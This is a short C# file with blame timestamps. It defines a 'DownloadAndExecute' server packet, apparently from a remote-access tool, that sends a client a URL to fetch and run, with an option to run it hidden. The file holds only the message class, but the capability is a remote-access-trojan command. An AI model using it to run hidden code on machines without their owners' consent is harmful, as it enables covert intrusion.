2014-07-08 12:58:53 +00:00
|
|
|
|
using ProtoBuf;
|
|
|
|
|
|
2015-01-13 18:29:11 +00:00
|
|
|
|
namespace xServer.Core.Packets.ServerPackets
|
2014-07-08 12:58:53 +00:00
|
|
|
|
{
|
|
|
|
|
[ProtoContract]
|
|
|
|
|
public class DownloadAndExecute : IPacket
|
|
|
|
|
{
|
|
|
|
|
[ProtoMember(1)]
|
|
|
|
|
public string URL { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(2)]
|
|
|
|
|
public bool RunHidden { get; set; }
|
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
public DownloadAndExecute()
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
|
2014-07-08 12:58:53 +00:00
|
|
|
|
public DownloadAndExecute(string url, bool runhidden)
|
|
|
|
|
{
|
|
|
|
|
this.URL = url;
|
|
|
|
|
this.RunHidden = runhidden;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public void Execute(Client client)
|
|
|
|
|
{
|
2015-05-19 01:01:38 +00:00
|
|
|
|
client.Send(this);
|
2014-07-08 12:58:53 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|